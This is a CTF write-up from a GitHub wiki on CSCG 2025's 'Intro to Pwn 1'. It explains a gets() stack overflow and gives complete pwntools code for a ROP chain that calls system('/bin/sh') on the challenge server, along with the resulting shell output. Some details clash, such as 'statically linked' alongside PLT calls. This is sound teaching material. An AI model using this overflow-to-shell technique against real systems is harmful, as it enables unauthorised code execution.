CSCG intro to Pwn1 writeup - Pez1181/CTF GitHub Wiki

Intro to Pwn 1 — Writeup

A warm-up to set the tone for CSCG 2025’s pwn adventures.


Challenge Overview

Type Vulnerability Protection Bypassed
Binary Exploitation (ROP) Stack buffer overflow NX (no shellcode), PIE (no randomization), Stack canary (absent)

🔍 Recon

We’re given a statically linked ELF called intro-pwn. Let’s start with some basic recon:

checksec intro-pwn
[*] '/intro-pwn'
    Arch:     amd64-64-little
    NX:       ENABLED
    PIE:      DISABLED
    Canary:   DISABLED
    RELRO:    FULL

Key points:

  • NX is enabled → no shellcode on the stack.
  • PIE is disabled → static addresses.
  • No canary → buffer overflow is straightforward.

Let’s disassemble the binary and examine the main() function:

gdb ./intro-pwn

Inside main(), there's a gets() call — instant red flag. It allows arbitrary input into a local buffer → classic overflow.


🧠 Vulnerability Analysis

We overflow a buffer of size 24 bytes, confirmed via cyclic pattern in GDB:

cyclic 100

Overflow occurs after 24 bytes, giving us full control of RIP. This sets us up perfectly for a ROP chain.


⚙️ Exploit Strategy

Since NX is enabled, we cannot inject shellcode, but we can ROP our way to system("/bin/sh").

We follow these steps:

  1. Overflow buffer to control RIP.
  2. Use a pop rdi; ret gadget to set up the argument for system().
  3. Write "/bin/sh" into a writable memory section using gets().
  4. Call system("/bin/sh").

This is a textbook ret2libc (static) attack, just without needing libc since system/gets are present in the binary.


🔧 What Does pop rdi; ret Actually Do?

In x86_64 (64-bit) Linux, function arguments are passed via registers, not the stack. The first argument goes into RDI.

So if we want to call system("/bin/sh"), we need to put the address of "/bin/sh" into RDI.

This is where a ROP gadget like pop rdi; ret comes in:

  • pop rdi → takes the value at the top of the stack and places it into the RDI register.
  • ret → returns to the next address on the stack (our next gadget or function call).

In short:

pop rdi
ret

will make RDI = whatever value we place next on the stack. In our case, that’s the address of the "/bin/sh" string we write to .data using gets().

So, pop rdi; ret is how we manually prepare function arguments in a ROP chain.


🧪 Exploit Code (Commented)

from pwn import *

# Setup: local or remote
# io = process("./intro-pwn")
io = process(["ncat", "--ssl-verify", "8eabc9018ee7a886c929aaf1-1024-intro-pwn-1.challenge.cscg.live", "1337"])

# Gadget and function addresses (statically found)
pop_rdi     = 0x401205   # pop rdi; ret
system_addr = 0x401040   # system@plt
gets_addr   = 0x401060   # gets@plt
data_addr   = 0x404028   # .data section (writable)

# Step 1: Overflow buffer (24 bytes) to control RIP
payload = b"A" * 24

# Step 2: Setup RDI = data_addr, then call gets()
payload += p64(pop_rdi)      # Gadget to control RDI
payload += p64(data_addr)    # Address to store "/bin/sh"
payload += p64(gets_addr)    # Call gets(data_addr)

# Step 3: Setup RDI = data_addr again, then call system()
payload += p64(pop_rdi)      # Gadget again
payload += p64(data_addr)    # Still contains "/bin/sh"
payload += p64(system_addr)  # system("/bin/sh")

# Send payload and input string
io.sendline(payload)
io.sendline(b"/bin/sh")      # gets() reads this into .data

# Enjoy the shell
io.interactive()

📦 Example Output

$ python3 solve.py
[+] Starting local process ...
[*] Switching to interactive mode
$ whoami
ctf
$ cat flag.txt
CSCG{welcome_to_ret2win}

📝 Final Notes

  • This challenge beautifully demonstrates the ROP fundamentals:
    • Leaking nothing
    • Writing your own /bin/sh string into memory
    • Calling existing PLT functions
  • The binary is built for learning: no canaries, no PIE, system() and gets() right there for you.
  • Useful practice for ret2libc layout, even if we don’t use libc here directly.